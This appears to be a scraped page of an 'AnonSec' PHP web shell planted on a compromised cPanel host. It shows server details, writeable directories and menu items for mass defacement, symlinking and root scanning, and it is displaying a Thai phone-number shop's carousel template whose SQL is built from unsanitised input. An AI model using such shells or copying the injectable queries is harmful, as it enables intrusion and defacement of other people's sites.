AnonSec Shell
Server IP : 104.21.37.246  /  Your IP : 104.23.243.32   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/cp648411/www/simded.com/themesv2/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/cp648411/www/simded.com/themesv2/berded_hit2.php
<style>
    .c-next {
        left: 36.5rem;
        z-index: 99;
        top: 120%;
        background: url(../images/newgen/next_1.png) 0 0;
        background-size: cover;
        background-repeat: no-repeat;
        opacity: 1;
        margin: 1px;
        width: 52px;
        height: 50px;
    }
    .c-prev {
        left: 31rem;
        z-index: 99;
        top: 120%;
        background: url(../images/newgen/pre_1.png) 0 0;
        background-size: cover;
        background-repeat: no-repeat;
        opacity: 1;
        margin: 1px;
        width: 52px;
        height: 50px;
    }
    .BerDedToday-ber {
        color: #ffffff;
        font-weight: bold;
        font-size: 1.45rem;
    }

</style>
<div class="row justify-content-center">
    <div class="col-10 col-md-12 col-xxl-12">
        <div id="carousel-pre" class="carousel slide" data-bs-ride="carousel">
            <div class="carousel-inner">
                <?php for ($ib=0; $ib < 4; $ib++) { ?>
                <div class="carousel-item  <?php if($ib==0){?>active<?php }?>">
                    <div class="row justify-content-between">
                        <?php
                            $sql_s = 'shop.id = phonenumber.id_shop AND shop.status = "1" AND shop.status_op = "1" AND shop.activate = "1" AND phonenumber.status = "1" ';

                            $max_rows = 20; // แสดงจำนวนแถวต่อหน้า
                            $page_number = $ib;
                            if(isset($_GET['page_number']))
                            {
                            $page_number = $_GET['page_number'];
                            }

                            $all_array =  array('table'=>'phonenumber,shop','where'=>$sql_s);
                            $start_row = $page_number * $max_rows;
                            $all_sql = $view_db->view($all_array);
                            $all_result = $view_db->q_re($all_sql);
                            $total_rows = $view_db->q_nr($all_result);
                            $total_rows_num = $view_db->q_nr($all_result);
                            $total_pages = ceil($total_rows/$max_rows)-1;
                            ////////////////////////////////////////
                            $list = array('table'=>'phonenumber,shop','where'=>$sql_s, 'limit'=> "$start_row,$max_rows",'order'=> "ORDER BY phonenumber.id DESC");
                            $view = $view_db->view($list);
                            $result = $view_db->q_re($view);
                            $num_tr = 1;
                            $num = 1 + ($page_number*$max_rows);
                            while($row = $view_db->q_ro($result))
                            {
                                $phonenumber = $Phone_class->format_phonenumber($row['phonenumber'],$row['format']);
                                $row_mobilenetwork = $actiondata_db->q_one('mobilenetwork','id = "'.$row['mobilenetwork'].'"','image');

                                $row_totalnumber = $actiondata_db->q_one('totalnumber','number = "'.$row['total'].'"','title');
                                if($row_totalnumber==2){$row_totalnumber = '';}

                                $list_shr = array('table'=>'shop','where'=>'id = "'.$row['id_shop'].'" ');
                                $view_shr = $view_db->view($list_shr);
                                $row_shr = $view_db->q($view_shr);

                                $list_phr = array('table'=>'phonenumber','where'=>'phonenumber = "'.$row['phonenumber'].'" ');
                                $view_phr = $view_db->view($list_phr);
                                $row_phr = $view_db->q($view_phr);

                                $countber =  $util_class->countber($row_shr['id']);
                                $txt_phonenumber =  $Phone_class->phonecomma($row_shr['phone']);

                                if($row_shr['image_profile']){ $image_profile = $row_shr['image_profile']; }
                                else { $image_profile = '';  }

                                $phonenumber = $Phone_class->format_phonenumber($row['phonenumber'],$row['format']);
                                $price = $row['price']-1;
                                $total_rank = "";
                                $sym = "";
                                if(@$row['total']<= 40){  $total_rank = "C"; }
                                if(@$row['total']>= 41 && @$row['total']<= 45){  $total_rank = "C"; $sym = "+";}
                                if(@$row['total']>= 46 && @$row['total']<= 50){  $total_rank = "B"; $sym = "";}
                                if(@$row['total']>= 51 && @$row['total']<= 55){  $total_rank = "B"; $sym = "+";}
                                if(@$row['total']>= 56 && @$row['total']<= 60){  $total_rank = "A"; $sym = "";}
                                if(@$row['total']>= 61 && @$row['total']<= 65){  $total_rank = "A"; $sym = "+";}
                                if(@$row['total']>= 66 && @$row['total']<= 70){  $total_rank = "S"; $sym = "";}
                                if(@$row['total']>= 71 ){  $total_rank = "S"; $sym = "+";}
                            ?>

                        <div class="col-12 col-lg-5 col-xl-6 mb-1 text-center">
                            <div class="d-ruby text-white align-items-center ps-0 ps-md-3 ps-lg-3">
                                <div class="btn custom-button2 rounded-pill py-0">
                                    <a href="../cart/?p=<?php echo $row['phonenumber'];?>"
                                        class="text-decoration-none px-lg-4">
                                        <span
                                            class="BerDedToday-ber px-xxl-5 dxxl-flex align-items-center"><?php echo $phonenumber; ?></span>
                                    </a>
                                </div>
                                <span class="ms-3">ผลรวม</span>
                                <div class="btn custom-button3 rounded-circle ms-3 d-grid align-items-center">
                                    <span class="BerDedToday-ber"><?php echo $row['total']; ?></span>
                                </div>
                                <div class="btn custom-button3 rounded-circle ms-3 d-grid align-items-center">
                                    <span class="BerDedToday-ber position-relative">
                                        <?php echo $total_rank; ?><?php  echo $sym;  ?>
                                    </span>
                                    </span>
                                </div>
                            </div>
                        </div>
                        <?php } ?>
                    </div>
                </div>

                <?php } ?>
            </div>
            <button class="carousel-control-prev c-prev" type="button" data-bs-target="#carousel-pre" data-bs-slide="prev"></button>
            <button class="carousel-control-next c-next" type="button" data-bs-target="#carousel-pre" data-bs-slide="next"></button>
        </div>

    </div>
</div>

Anon7 - 2022
AnonSec Team